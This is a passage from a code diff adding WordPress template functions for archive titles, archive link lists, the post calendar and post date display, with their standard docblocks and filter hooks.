+		$my_year = $year;
+		$my_month = $wp_locale->get_month($monthnum);
+	} elseif ( !empty($m) ) {
+		$my_year = substr($m, 0, 4);
+		$my_month = $wp_locale->get_month(substr($m, 4, 2));
+	}
+
+	if ( empty($my_month) )
+		return false;
+
+	$result = $prefix . $my_month . $prefix . $my_year;
+
+	if ( !$display )
+		return $result;
+	echo $result;
+}
+
+/**
+ * Display the archive title based on the queried object.
+ *
+ * @since 4.1.0
+ *
+ * @see get_the_archive_title()
+ *
+ * @param string $before Optional. Content to prepend to the title. Default empty.
+ * @param string $after  Optional. Content to append to the title. Default empty.
+ */
+function the_archive_title( $before = '', $after = '' ) {
+	$title = get_the_archive_title();
+
+	if ( ! empty( $title ) ) {
+		echo $before . $title . $after;
+	}
+}
+
+/**
+ * Retrieve the archive title based on the queried object.
+ *
+ * @since 4.1.0
+ *
+ * @return string Archive title.
+ */
+function get_the_archive_title() {
+	if ( is_category() ) {
+		/* translators: Category archive title. 1: Category name */
+		$title = sprintf( __( 'Category: %s' ), single_cat_title( '', false ) );
+	} elseif ( is_tag() ) {
+		/* translators: Tag archive title. 1: Tag name */
+		$title = sprintf( __( 'Tag: %s' ), single_tag_title( '', false ) );
+	} elseif ( is_author() ) {
+		/* translators: Author archive title. 1: Author name */
+		$title = sprintf( __( 'Author: %s' ), '<span class="vcard">' . get_the_author() . '</span>' );
+	} elseif ( is_year() ) {
+		/* translators: Yearly archive title. 1: Year */
+		$title = sprintf( __( 'Year: %s' ), get_the_date( _x( 'Y', 'yearly archives date format' ) ) );
+	} elseif ( is_month() ) {
+		/* translators: Monthly archive title. 1: Month name and year */
+		$title = sprintf( __( 'Month: %s' ), get_the_date( _x( 'F Y', 'monthly archives date format' ) ) );
+	} elseif ( is_day() ) {
+		/* translators: Daily archive title. 1: Date */
+		$title = sprintf( __( 'Day: %s' ), get_the_date( _x( 'F j, Y', 'daily archives date format' ) ) );
+	} elseif ( is_tax( 'post_format' ) ) {
+		if ( is_tax( 'post_format', 'post-format-aside' ) ) {
+			$title = _x( 'Asides', 'post format archive title' );
+		} elseif ( is_tax( 'post_format', 'post-format-gallery' ) ) {
+			$title = _x( 'Galleries', 'post format archive title' );
+		} elseif ( is_tax( 'post_format', 'post-format-image' ) ) {
+			$title = _x( 'Images', 'post format archive title' );
+		} elseif ( is_tax( 'post_format', 'post-format-video' ) ) {
+			$title = _x( 'Videos', 'post format archive title' );
+		} elseif ( is_tax( 'post_format', 'post-format-quote' ) ) {
+			$title = _x( 'Quotes', 'post format archive title' );
+		} elseif ( is_tax( 'post_format', 'post-format-link' ) ) {
+			$title = _x( 'Links', 'post format archive title' );
+		} elseif ( is_tax( 'post_format', 'post-format-status' ) ) {
+			$title = _x( 'Statuses', 'post format archive title' );
+		} elseif ( is_tax( 'post_format', 'post-format-audio' ) ) {
+			$title = _x( 'Audio', 'post format archive title' );
+		} elseif ( is_tax( 'post_format', 'post-format-chat' ) ) {
+			$title = _x( 'Chats', 'post format archive title' );
+		}
+	} elseif ( is_post_type_archive() ) {
+		/* translators: Post type archive title. 1: Post type name */
+		$title = sprintf( __( 'Archives: %s' ), post_type_archive_title( '', false ) );
+	} elseif ( is_tax() ) {
+		$tax = get_taxonomy( get_queried_object()->taxonomy );
+		/* translators: Taxonomy term archive title. 1: Taxonomy singular name, 2: Current taxonomy term */
+		$title = sprintf( __( '%1$s: %2$s' ), $tax->labels->singular_name, single_term_title( '', false ) );
+	} else {
+		$title = __( 'Archives' );
+	}
+
+	/**
+	 * Filters the archive title.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @param string $title Archive title to be displayed.
+	 */
+	return apply_filters( 'get_the_archive_title', $title );
+}
+
+/**
+ * Display category, tag, term, or author description.
+ *
+ * @since 4.1.0
+ *
+ * @see get_the_archive_description()
+ *
+ * @param string $before Optional. Content to prepend to the description. Default empty.
+ * @param string $after  Optional. Content to append to the description. Default empty.
+ */
+function the_archive_description( $before = '', $after = '' ) {
+	$description = get_the_archive_description();
+	if ( $description ) {
+		echo $before . $description . $after;
+	}
+}
+
+/**
+ * Retrieves the description for an author, post type, or term archive.
+ *
+ * @since 4.1.0
+ * @since 4.7.0 Added support for author archives.
+ * @since 4.9.0 Added support for post type archives.
+ *
+ * @see term_description()
+ *
+ * @return string Archive description.
+ */
+function get_the_archive_description() {
+	if ( is_author() ) {
+		$description = get_the_author_meta( 'description' );
+	} elseif ( is_post_type_archive() ) {
+		$description = get_the_post_type_description();
+	} else {
+		$description = term_description();
+	}
+
+	/**
+	 * Filters the archive description.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @param string $description Archive description to be displayed.
+	 */
+	return apply_filters( 'get_the_archive_description', $description );
+}
+
+/**
+ * Retrieves the description for a post type archive.
+ *
+ * @since 4.9.0
+ *
+ * @return string The post type description.
+ */
+function get_the_post_type_description() {
+	$post_type = get_query_var( 'post_type' );
+
+	if ( is_array( $post_type ) ) {
+		$post_type = reset( $post_type );
+	}
+
+	$post_type_obj = get_post_type_object( $post_type );
+
+	// Check if a description is set.
+	if ( isset( $post_type_obj->description ) ) {
+		$description = $post_type_obj->description;
+	} else {
+		$description = '';
+	}
+
+	/**
+	 * Filters the description for a post type archive.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @param string       $description   The post type description.
+	 * @param WP_Post_Type $post_type_obj The post type object.
+	 */
+	return apply_filters( 'get_the_post_type_description', $description, $post_type_obj );
+}
+
+/**
+ * Retrieve archive link content based on predefined or custom code.
+ *
+ * The format can be one of four styles. The 'link' for head element, 'option'
+ * for use in the select element, 'html' for use in list (either ol or ul HTML
+ * elements). Custom content is also supported using the before and after
+ * parameters.
+ *
+ * The 'link' format uses the `<link>` HTML element with the **archives**
+ * relationship. The before and after parameters are not used. The text
+ * parameter is used to describe the link.
+ *
+ * The 'option' format uses the option HTML element for use in select element.
+ * The value is the url parameter and the before and after parameters are used
+ * between the text description.
+ *
+ * The 'html' format, which is the default, uses the li HTML element for use in
+ * the list HTML elements. The before parameter is before the link and the after
+ * parameter is after the closing link.
+ *
+ * The custom format uses the before parameter before the link ('a' HTML
+ * element) and the after parameter after the closing link tag. If the above
+ * three values for the format are not used, then custom format is assumed.
+ *
+ * @since 1.0.0
+ *
+ * @param string $url    URL to archive.
+ * @param string $text   Archive text description.
+ * @param string $format Optional, default is 'html'. Can be 'link', 'option', 'html', or custom.
+ * @param string $before Optional. Content to prepend to the description. Default empty.
+ * @param string $after  Optional. Content to append to the description. Default empty.
+ * @return string HTML link content for archive.
+ */
+function get_archives_link($url, $text, $format = 'html', $before = '', $after = '') {
+	$text = wptexturize($text);
+	$url = esc_url($url);
+
+	if ('link' == $format)
+		$link_html = "\t<link rel='archives' title='" . esc_attr( $text ) . "' href='$url' />\n";
+	elseif ('option' == $format)
+		$link_html = "\t<option value='$url'>$before $text $after</option>\n";
+	elseif ('html' == $format)
+		$link_html = "\t<li>$before<a href='$url'>$text</a>$after</li>\n";
+	else // custom
+		$link_html = "\t$before<a href='$url'>$text</a>$after\n";
+
+	/**
+	 * Filters the archive link content.
+	 *
+	 * @since 2.6.0
+	 * @since 4.5.0 Added the `$url`, `$text`, `$format`, `$before`, and `$after` parameters.
+	 *
+	 * @param string $link_html The archive HTML link content.
+	 * @param string $url       URL to archive.
+	 * @param string $text      Archive text description.
+	 * @param string $format    Link format. Can be 'link', 'option', 'html', or custom.
+	 * @param string $before    Content to prepend to the description.
+	 * @param string $after     Content to append to the description.
+	 */
+	return apply_filters( 'get_archives_link', $link_html, $url, $text, $format, $before, $after );
+}
+
+/**
+ * Display archive links based on type and format.
+ *
+ * @since 1.2.0
+ * @since 4.4.0 $post_type arg was added.
+ *
+ * @see get_archives_link()
+ *
+ * @global wpdb      $wpdb
+ * @global WP_Locale $wp_locale
+ *
+ * @param string|array $args {
+ *     Default archive links arguments. Optional.
+ *
+ *     @type string     $type            Type of archive to retrieve. Accepts 'daily', 'weekly', 'monthly',
+ *                                       'yearly', 'postbypost', or 'alpha'. Both 'postbypost' and 'alpha'
+ *                                       display the same archive link list as well as post titles instead
+ *                                       of displaying dates. The difference between the two is that 'alpha'
+ *                                       will order by post title and 'postbypost' will order by post date.
+ *                                       Default 'monthly'.
+ *     @type string|int $limit           Number of links to limit the query to. Default empty (no limit).
+ *     @type string     $format          Format each link should take using the $before and $after args.
+ *                                       Accepts 'link' (`<link>` tag), 'option' (`<option>` tag), 'html'
+ *                                       (`<li>` tag), or a custom format, which generates a link anchor
+ *                                       with $before preceding and $after succeeding. Default 'html'.
+ *     @type string     $before          Markup to prepend to the beginning of each link. Default empty.
+ *     @type string     $after           Markup to append to the end of each link. Default empty.
+ *     @type bool       $show_post_count Whether to display the post count alongside the link. Default false.
+ *     @type bool|int   $echo            Whether to echo or return the links list. Default 1|true to echo.
+ *     @type string     $order           Whether to use ascending or descending order. Accepts 'ASC', or 'DESC'.
+ *                                       Default 'DESC'.
+ *     @type string     $post_type       Post type. Default 'post'.
+ * }
+ * @return string|void String when retrieving.
+ */
+function wp_get_archives( $args = '' ) {
+	global $wpdb, $wp_locale;
+
+	$defaults = array(
+		'type' => 'monthly', 'limit' => '',
+		'format' => 'html', 'before' => '',
+		'after' => '', 'show_post_count' => false,
+		'echo' => 1, 'order' => 'DESC',
+		'post_type' => 'post'
+	);
+
+	$r = wp_parse_args( $args, $defaults );
+
+	$post_type_object = get_post_type_object( $r['post_type'] );
+	if ( ! is_post_type_viewable( $post_type_object ) ) {
+		return;
+	}
+	$r['post_type'] = $post_type_object->name;
+
+	if ( '' == $r['type'] ) {
+		$r['type'] = 'monthly';
+	}
+
+	if ( ! empty( $r['limit'] ) ) {
+		$r['limit'] = absint( $r['limit'] );
+		$r['limit'] = ' LIMIT ' . $r['limit'];
+	}
+
+	$order = strtoupper( $r['order'] );
+	if ( $order !== 'ASC' ) {
+		$order = 'DESC';
+	}
+
+	// this is what will separate dates on weekly archive links
+	$archive_week_separator = '&#8211;';
+
+	$sql_where = $wpdb->prepare( "WHERE post_type = %s AND post_status = 'publish'", $r['post_type'] );
+
+	/**
+	 * Filters the SQL WHERE clause for retrieving archives.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param string $sql_where Portion of SQL query containing the WHERE clause.
+	 * @param array  $r         An array of default arguments.
+	 */
+	$where = apply_filters( 'getarchives_where', $sql_where, $r );
+
+	/**
+	 * Filters the SQL JOIN clause for retrieving archives.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param string $sql_join Portion of SQL query containing JOIN clause.
+	 * @param array  $r        An array of default arguments.
+	 */
+	$join = apply_filters( 'getarchives_join', '', $r );
+
+	$output = '';
+
+	$last_changed = wp_cache_get_last_changed( 'posts' );
+
+	$limit = $r['limit'];
+
+	if ( 'monthly' == $r['type'] ) {
+		$query = "SELECT YEAR(post_date) AS `year`, MONTH(post_date) AS `month`, count(ID) as posts FROM $wpdb->posts $join $where GROUP BY YEAR(post_date), MONTH(post_date) ORDER BY post_date $order $limit";
+		$key = md5( $query );
+		$key = "wp_get_archives:$key:$last_changed";
+		if ( ! $results = wp_cache_get( $key, 'posts' ) ) {
+			$results = $wpdb->get_results( $query );
+			wp_cache_set( $key, $results, 'posts' );
+		}
+		if ( $results ) {
+			$after = $r['after'];
+			foreach ( (array) $results as $result ) {
+				$url = get_month_link( $result->year, $result->month );
+				if ( 'post' !== $r['post_type'] ) {
+					$url = add_query_arg( 'post_type', $r['post_type'], $url );
+				}
+				/* translators: 1: month name, 2: 4-digit year */
+				$text = sprintf( __( '%1$s %2$d' ), $wp_locale->get_month( $result->month ), $result->year );
+				if ( $r['show_post_count'] ) {
+					$r['after'] = '&nbsp;(' . $result->posts . ')' . $after;
+				}
+				$output .= get_archives_link( $url, $text, $r['format'], $r['before'], $r['after'] );
+			}
+		}
+	} elseif ( 'yearly' == $r['type'] ) {
+		$query = "SELECT YEAR(post_date) AS `year`, count(ID) as posts FROM $wpdb->posts $join $where GROUP BY YEAR(post_date) ORDER BY post_date $order $limit";
+		$key = md5( $query );
+		$key = "wp_get_archives:$key:$last_changed";
+		if ( ! $results = wp_cache_get( $key, 'posts' ) ) {
+			$results = $wpdb->get_results( $query );
+			wp_cache_set( $key, $results, 'posts' );
+		}
+		if ( $results ) {
+			$after = $r['after'];
+			foreach ( (array) $results as $result) {
+				$url = get_year_link( $result->year );
+				if ( 'post' !== $r['post_type'] ) {
+					$url = add_query_arg( 'post_type', $r['post_type'], $url );
+				}
+				$text = sprintf( '%d', $result->year );
+				if ( $r['show_post_count'] ) {
+					$r['after'] = '&nbsp;(' . $result->posts . ')' . $after;
+				}
+				$output .= get_archives_link( $url, $text, $r['format'], $r['before'], $r['after'] );
+			}
+		}
+	} elseif ( 'daily' == $r['type'] ) {
+		$query = "SELECT YEAR(post_date) AS `year`, MONTH(post_date) AS `month`, DAYOFMONTH(post_date) AS `dayofmonth`, count(ID) as posts FROM $wpdb->posts $join $where GROUP BY YEAR(post_date), MONTH(post_date), DAYOFMONTH(post_date) ORDER BY post_date $order $limit";
+		$key = md5( $query );
+		$key = "wp_get_archives:$key:$last_changed";
+		if ( ! $results = wp_cache_get( $key, 'posts' ) ) {
+			$results = $wpdb->get_results( $query );
+			wp_cache_set( $key, $results, 'posts' );
+		}
+		if ( $results ) {
+			$after = $r['after'];
+			foreach ( (array) $results as $result ) {
+				$url  = get_day_link( $result->year, $result->month, $result->dayofmonth );
+				if ( 'post' !== $r['post_type'] ) {
+					$url = add_query_arg( 'post_type', $r['post_type'], $url );
+				}
+				$date = sprintf( '%1$d-%2$02d-%3$02d 00:00:00', $result->year, $result->month, $result->dayofmonth );
+				$text = mysql2date( get_option( 'date_format' ), $date );
+				if ( $r['show_post_count'] ) {
+					$r['after'] = '&nbsp;(' . $result->posts . ')' . $after;
+				}
+				$output .= get_archives_link( $url, $text, $r['format'], $r['before'], $r['after'] );
+			}
+		}
+	} elseif ( 'weekly' == $r['type'] ) {
+		$week = _wp_mysql_week( '`post_date`' );
+		$query = "SELECT DISTINCT $week AS `week`, YEAR( `post_date` ) AS `yr`, DATE_FORMAT( `post_date`, '%Y-%m-%d' ) AS `yyyymmdd`, count( `ID` ) AS `posts` FROM `$wpdb->posts` $join $where GROUP BY $week, YEAR( `post_date` ) ORDER BY `post_date` $order $limit";
+		$key = md5( $query );
+		$key = "wp_get_archives:$key:$last_changed";
+		if ( ! $results = wp_cache_get( $key, 'posts' ) ) {
+			$results = $wpdb->get_results( $query );
+			wp_cache_set( $key, $results, 'posts' );
+		}
+		$arc_w_last = '';
+		if ( $results ) {
+			$after = $r['after'];
+			foreach ( (array) $results as $result ) {
+				if ( $result->week != $arc_w_last ) {
+					$arc_year       = $result->yr;
+					$arc_w_last     = $result->week;
+					$arc_week       = get_weekstartend( $result->yyyymmdd, get_option( 'start_of_week' ) );
+					$arc_week_start = date_i18n( get_option( 'date_format' ), $arc_week['start'] );
+					$arc_week_end   = date_i18n( get_option( 'date_format' ), $arc_week['end'] );
+					$url            = add_query_arg( array( 'm' => $arc_year, 'w' => $result->week, ), home_url( '/' ) );
+					if ( 'post' !== $r['post_type'] ) {
+						$url = add_query_arg( 'post_type', $r['post_type'], $url );
+					}
+					$text           = $arc_week_start . $archive_week_separator . $arc_week_end;
+					if ( $r['show_post_count'] ) {
+						$r['after'] = '&nbsp;(' . $result->posts . ')' . $after;
+					}
+					$output .= get_archives_link( $url, $text, $r['format'], $r['before'], $r['after'] );
+				}
+			}
+		}
+	} elseif ( ( 'postbypost' == $r['type'] ) || ('alpha' == $r['type'] ) ) {
+		$orderby = ( 'alpha' == $r['type'] ) ? 'post_title ASC ' : 'post_date DESC, ID DESC ';
+		$query = "SELECT * FROM $wpdb->posts $join $where ORDER BY $orderby $limit";
+		$key = md5( $query );
+		$key = "wp_get_archives:$key:$last_changed";
+		if ( ! $results = wp_cache_get( $key, 'posts' ) ) {
+			$results = $wpdb->get_results( $query );
+			wp_cache_set( $key, $results, 'posts' );
+		}
+		if ( $results ) {
+			foreach ( (array) $results as $result ) {
+				if ( $result->post_date != '0000-00-00 00:00:00' ) {
+					$url = get_permalink( $result );
+					if ( $result->post_title ) {
+						/** This filter is documented in wp-includes/post-template.php */
+						$text = strip_tags( apply_filters( 'the_title', $result->post_title, $result->ID ) );
+					} else {
+						$text = $result->ID;
+					}
+					$output .= get_archives_link( $url, $text, $r['format'], $r['before'], $r['after'] );
+				}
+			}
+		}
+	}
+	if ( $r['echo'] ) {
+		echo $output;
+	} else {
+		return $output;
+	}
+}
+
+/**
+ * Get number of days since the start of the week.
+ *
+ * @since 1.5.0
+ *
+ * @param int $num Number of day.
+ * @return float Days since the start of the week.
+ */
+function calendar_week_mod($num) {
+	$base = 7;
+	return ($num - $base*floor($num/$base));
+}
+
+/**
+ * Display calendar with days that have posts as links.
+ *
+ * The calendar is cached, which will be retrieved, if it exists. If there are
+ * no posts for the month, then it will not be displayed.
+ *
+ * @since 1.0.0
+ *
+ * @global wpdb      $wpdb
+ * @global int       $m
+ * @global int       $monthnum
+ * @global int       $year
+ * @global WP_Locale $wp_locale
+ * @global array     $posts
+ *
+ * @param bool $initial Optional, default is true. Use initial calendar names.
+ * @param bool $echo    Optional, default is true. Set to false for return.
+ * @return string|void String when retrieving.
+ */
+function get_calendar( $initial = true, $echo = true ) {
+	global $wpdb, $m, $monthnum, $year, $wp_locale, $posts;
+
+	$key = md5( $m . $monthnum . $year );
+	$cache = wp_cache_get( 'get_calendar', 'calendar' );
+
+	if ( $cache && is_array( $cache ) && isset( $cache[ $key ] ) ) {
+		/** This filter is documented in wp-includes/general-template.php */
+		$output = apply_filters( 'get_calendar', $cache[ $key ] );
+
+		if ( $echo ) {
+			echo $output;
+			return;
+		}
+
+		return $output;
+	}
+
+	if ( ! is_array( $cache ) ) {
+		$cache = array();
+	}
+
+	// Quick check. If we have no posts at all, abort!
+	if ( ! $posts ) {
+		$gotsome = $wpdb->get_var("SELECT 1 as test FROM $wpdb->posts WHERE post_type = 'post' AND post_status = 'publish' LIMIT 1");
+		if ( ! $gotsome ) {
+			$cache[ $key ] = '';
+			wp_cache_set( 'get_calendar', $cache, 'calendar' );
+			return;
+		}
+	}
+
+	if ( isset( $_GET['w'] ) ) {
+		$w = (int) $_GET['w'];
+	}
+	// week_begins = 0 stands for Sunday
+	$week_begins = (int) get_option( 'start_of_week' );
+	$ts = current_time( 'timestamp' );
+
+	// Let's figure out when we are
+	if ( ! empty( $monthnum ) && ! empty( $year ) ) {
+		$thismonth = zeroise( intval( $monthnum ), 2 );
+		$thisyear = (int) $year;
+	} elseif ( ! empty( $w ) ) {
+		// We need to get the month from MySQL
+		$thisyear = (int) substr( $m, 0, 4 );
+		//it seems MySQL's weeks disagree with PHP's
+		$d = ( ( $w - 1 ) * 7 ) + 6;
+		$thismonth = $wpdb->get_var("SELECT DATE_FORMAT((DATE_ADD('{$thisyear}0101', INTERVAL $d DAY) ), '%m')");
+	} elseif ( ! empty( $m ) ) {
+		$thisyear = (int) substr( $m, 0, 4 );
+		if ( strlen( $m ) < 6 ) {
+			$thismonth = '01';
+		} else {
+			$thismonth = zeroise( (int) substr( $m, 4, 2 ), 2 );
+		}
+	} else {
+		$thisyear = gmdate( 'Y', $ts );
+		$thismonth = gmdate( 'm', $ts );
+	}
+
+	$unixmonth = mktime( 0, 0 , 0, $thismonth, 1, $thisyear );
+	$last_day = date( 't', $unixmonth );
+
+	// Get the next and previous month and year with at least one post
+	$previous = $wpdb->get_row("SELECT MONTH(post_date) AS month, YEAR(post_date) AS year
+		FROM $wpdb->posts
+		WHERE post_date < '$thisyear-$thismonth-01'
+		AND post_type = 'post' AND post_status = 'publish'
+			ORDER BY post_date DESC
+			LIMIT 1");
+	$next = $wpdb->get_row("SELECT MONTH(post_date) AS month, YEAR(post_date) AS year
+		FROM $wpdb->posts
+		WHERE post_date > '$thisyear-$thismonth-{$last_day} 23:59:59'
+		AND post_type = 'post' AND post_status = 'publish'
+			ORDER BY post_date ASC
+			LIMIT 1");
+
+	/* translators: Calendar caption: 1: month name, 2: 4-digit year */
+	$calendar_caption = _x('%1$s %2$s', 'calendar caption');
+	$calendar_output = '<table id="wp-calendar">
+	<caption>' . sprintf(
+		$calendar_caption,
+		$wp_locale->get_month( $thismonth ),
+		date( 'Y', $unixmonth )
+	) . '</caption>
+	<thead>
+	<tr>';
+
+	$myweek = array();
+
+	for ( $wdcount = 0; $wdcount <= 6; $wdcount++ ) {
+		$myweek[] = $wp_locale->get_weekday( ( $wdcount + $week_begins ) % 7 );
+	}
+
+	foreach ( $myweek as $wd ) {
+		$day_name = $initial ? $wp_locale->get_weekday_initial( $wd ) : $wp_locale->get_weekday_abbrev( $wd );
+		$wd = esc_attr( $wd );
+		$calendar_output .= "\n\t\t<th scope=\"col\" title=\"$wd\">$day_name</th>";
+	}
+
+	$calendar_output .= '
+	</tr>
+	</thead>
+
+	<tfoot>
+	<tr>';
+
+	if ( $previous ) {
+		$calendar_output .= "\n\t\t".'<td colspan="3" id="prev"><a href="' . get_month_link( $previous->year, $previous->month ) . '">&laquo; ' .
+			$wp_locale->get_month_abbrev( $wp_locale->get_month( $previous->month ) ) .
+		'</a></td>';
+	} else {
+		$calendar_output .= "\n\t\t".'<td colspan="3" id="prev" class="pad">&nbsp;</td>';
+	}
+
+	$calendar_output .= "\n\t\t".'<td class="pad">&nbsp;</td>';
+
+	if ( $next ) {
+		$calendar_output .= "\n\t\t".'<td colspan="3" id="next"><a href="' . get_month_link( $next->year, $next->month ) . '">' .
+			$wp_locale->get_month_abbrev( $wp_locale->get_month( $next->month ) ) .
+		' &raquo;</a></td>';
+	} else {
+		$calendar_output .= "\n\t\t".'<td colspan="3" id="next" class="pad">&nbsp;</td>';
+	}
+
+	$calendar_output .= '
+	</tr>
+	</tfoot>
+
+	<tbody>
+	<tr>';
+
+	$daywithpost = array();
+
+	// Get days with posts
+	$dayswithposts = $wpdb->get_results("SELECT DISTINCT DAYOFMONTH(post_date)
+		FROM $wpdb->posts WHERE post_date >= '{$thisyear}-{$thismonth}-01 00:00:00'
+		AND post_type = 'post' AND post_status = 'publish'
+		AND post_date <= '{$thisyear}-{$thismonth}-{$last_day} 23:59:59'", ARRAY_N);
+	if ( $dayswithposts ) {
+		foreach ( (array) $dayswithposts as $daywith ) {
+			$daywithpost[] = $daywith[0];
+		}
+	}
+
+	// See how much we should pad in the beginning
+	$pad = calendar_week_mod( date( 'w', $unixmonth ) - $week_begins );
+	if ( 0 != $pad ) {
+		$calendar_output .= "\n\t\t".'<td colspan="'. esc_attr( $pad ) .'" class="pad">&nbsp;</td>';
+	}
+
+	$newrow = false;
+	$daysinmonth = (int) date( 't', $unixmonth );
+
+	for ( $day = 1; $day <= $daysinmonth; ++$day ) {
+		if ( isset($newrow) && $newrow ) {
+			$calendar_output .= "\n\t</tr>\n\t<tr>\n\t\t";
+		}
+		$newrow = false;
+
+		if ( $day == gmdate( 'j', $ts ) &&
+			$thismonth == gmdate( 'm', $ts ) &&
+			$thisyear == gmdate( 'Y', $ts ) ) {
+			$calendar_output .= '<td id="today">';
+		} else {
+			$calendar_output .= '<td>';
+		}
+
+		if ( in_array( $day, $daywithpost ) ) {
+			// any posts today?
+			$date_format = date( _x( 'F j, Y', 'daily archives date format' ), strtotime( "{$thisyear}-{$thismonth}-{$day}" ) );
+			/* translators: Post calendar label. 1: Date */
+			$label = sprintf( __( 'Posts published on %s' ), $date_format );
+			$calendar_output .= sprintf(
+				'<a href="%s" aria-label="%s">%s</a>',
+				get_day_link( $thisyear, $thismonth, $day ),
+				esc_attr( $label ),
+				$day
+			);
+		} else {
+			$calendar_output .= $day;
+		}
+		$calendar_output .= '</td>';
+
+		if ( 6 == calendar_week_mod( date( 'w', mktime(0, 0 , 0, $thismonth, $day, $thisyear ) ) - $week_begins ) ) {
+			$newrow = true;
+		}
+	}
+
+	$pad = 7 - calendar_week_mod( date( 'w', mktime( 0, 0 , 0, $thismonth, $day, $thisyear ) ) - $week_begins );
+	if ( $pad != 0 && $pad != 7 ) {
+		$calendar_output .= "\n\t\t".'<td class="pad" colspan="'. esc_attr( $pad ) .'">&nbsp;</td>';
+	}
+	$calendar_output .= "\n\t</tr>\n\t</tbody>\n\t</table>";
+
+	$cache[ $key ] = $calendar_output;
+	wp_cache_set( 'get_calendar', $cache, 'calendar' );
+
+	if ( $echo ) {
+		/**
+		 * Filters the HTML calendar output.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param string $calendar_output HTML output of the calendar.
+		 */
+		echo apply_filters( 'get_calendar', $calendar_output );
+		return;
+	}
+	/** This filter is documented in wp-includes/general-template.php */
+	return apply_filters( 'get_calendar', $calendar_output );
+}
+
+/**
+ * Purge the cached results of get_calendar.
+ *
+ * @see get_calendar
+ * @since 2.1.0
+ */
+function delete_get_calendar_cache() {
+	wp_cache_delete( 'get_calendar', 'calendar' );
+}
+
+/**
+ * Display all of the allowed tags in HTML format with attributes.
+ *
+ * This is useful for displaying in the comment area, which elements and
+ * attributes are supported. As well as any plugins which want to display it.
+ *
+ * @since 1.0.1
+ *
+ * @global array $allowedtags
+ *
+ * @return string HTML allowed tags entity encoded.
+ */
+function allowed_tags() {
+	global $allowedtags;
+	$allowed = '';
+	foreach ( (array) $allowedtags as $tag => $attributes ) {
+		$allowed .= '<'.$tag;
+		if ( 0 < count($attributes) ) {
+			foreach ( $attributes as $attribute => $limits ) {
+				$allowed .= ' '.$attribute.'=""';
+			}
+		}
+		$allowed .= '> ';
+	}
+	return htmlentities( $allowed );
+}
+
+/***** Date/Time tags *****/
+
+/**
+ * Outputs the date in iso8601 format for xml files.
+ *
+ * @since 1.0.0
+ */
+function the_date_xml() {
+	echo mysql2date( 'Y-m-d', get_post()->post_date, false );
+}
+
+/**
+ * Display or Retrieve the date the current post was written (once per date)
+ *
+ * Will only output the date if the current post's date is different from the
+ * previous one output.
+ *
+ * i.e. Only one date listing will show per day worth of posts shown in the loop, even if the
+ * function is called several times for each post.
+ *
+ * HTML output can be filtered with 'the_date'.
+ * Date string output can be filtered with 'get_the_date'.
+ *
+ * @since 0.71
+ *
+ * @global string|int|bool $currentday
+ * @global string|int|bool $previousday
+ *
+ * @param string $d      Optional. PHP date format defaults to the date_format option if not specified.
+ * @param string $before Optional. Output before the date.
+ * @param string $after  Optional. Output after the date.
+ * @param bool   $echo   Optional, default is display. Whether to echo the date or return it.
+ * @return string|void String if retrieving.
+ */
+function the_date( $d = '', $before = '', $after = '', $echo = true ) {
+	global $currentday, $previousday;
+
+	if ( is_new_day() ) {
+		$the_date = $before . get_the_date( $d ) . $after;
+		$previousday = $currentday;
+
+		/**
+		 * Filters the date a post was published for display.
+		 *
+		 * @since 0.71
+		 *
+		 * @param string $the_date The formatted date string.
+		 * @param string $d        PHP date format. Defaults to 'date_format' option
+		 *                         if not specified.
+		 * @param string $before   HTML output before the date.
+		 * @param string $after    HTML output after the date.
+		 */
+		$the_date = apply_filters( 'the_date', $the_date, $d, $before, $after );
+
+		if ( $echo )
+			echo $the_date;
+		else
+			return $the_date;
+	}
+}
+
+/**
+ * Retrieve the date on which the post was written.
+ *
+ * Unlike the_date() this function will always return the date.
+ * Modify output with the {@see 'get_the_date'} filter.
+ *
+ * @since 3.0.0
+ *
+ * @param  string      $d    Optional. PHP date format defaults to the date_format option if not specified.
+ * @param  int|WP_Post $post Optional. Post ID or WP_Post object. Default current post.
+ * @return false|string Date the current post was written. False on failure.
+ */
+function get_the_date( $d = '', $post = null ) {
+	$post = get_post( $post );
+
+	if ( ! $post ) {
+		return false;
+	}
+
+	if ( '' == $d ) {
+		$the_date = mysql2date( get_option( 'date_format' ), $post->post_date );
+	} else {
+		$the_date = mysql2date( $d, $post->post_date );
+	}
+
+	/**
+	 * Filters the date a post was published.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string      $the_date The formatted date.
+	 * @param string      $d        PHP date format. Defaults to 'date_format' option
+	 *                              if not specified.
+	 * @param int|WP_Post $post     The post object or ID.
+	 */
+	return apply_filters( 'get_the_date', $the_date, $d, $post );
+}
+
+/**
+ * Display the date on which the post was last modified.
+ *
+ * @since 2.1.0
+ *
+ * @param string $d      Optional. PHP date format defaults to the date_format option if not specified.
+ * @param string $before Optional. Output before the date.
+ * @param string $after  Optional. Output after the date.
+ * @param bool   $echo   Optional, default is display. Whether to echo the date or return it.
+ * @return string|void String if retrieving.
+ */
+function the_modified_date( $d = '', $before = '', $after = '', $echo = true ) {
+	$the_modified_date = $before . get_the_modified_date($d) . $after;
+
+	/**
+	 * Filters the date a post was last modified for display.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string $the_modified_date The last modified date.
+	 * @param string $d                 PHP date format. Defaults to 'date_format' option
+	 *                                  if not specified.
+	 * @param string $before            HTML output before the date.
+	 * @param string $after             HTML output after the date.
+	 */
+	$the_modified_date = apply_filters( 'the_modified_date', $the_modified_date, $d, $before, $after );
+
+	if ( $echo )
+		echo $the_modified_date;
+	else
+		return $the_modified_date;
+
+}
+
+/**
+ * Retrieve the date on which the post was last modified.
+ *
+ * @since 2.1.0
+ * @since 4.6.0 Added the `$post` parameter.
+ *
+ * @param string      $d    Optional. PHP date format defaults to the date_format option if not specified.
+ * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default current post.
+ * @return false|string Date the current post was modified. False on failure.
+ */
+function get_the_modified_date( $d = '', $post = null ) {
+	$post = get_post( $post );
+
+	if ( ! $post ) {
+		// For backward compatibility, failures go through the filter below.
+		$the_time = false;
+	} elseif ( empty( $d ) ) {
+		$the_time = get_post_modified_time( get_option( 'date_format' ), false, $post, true );
+	} else {
+		$the_time = get_post_modified_time( $d, false, $post, true );
+	}
+
+	/**
+	 * Filters the date a post was last modified.
+	 *
+	 * @since 2.1.0
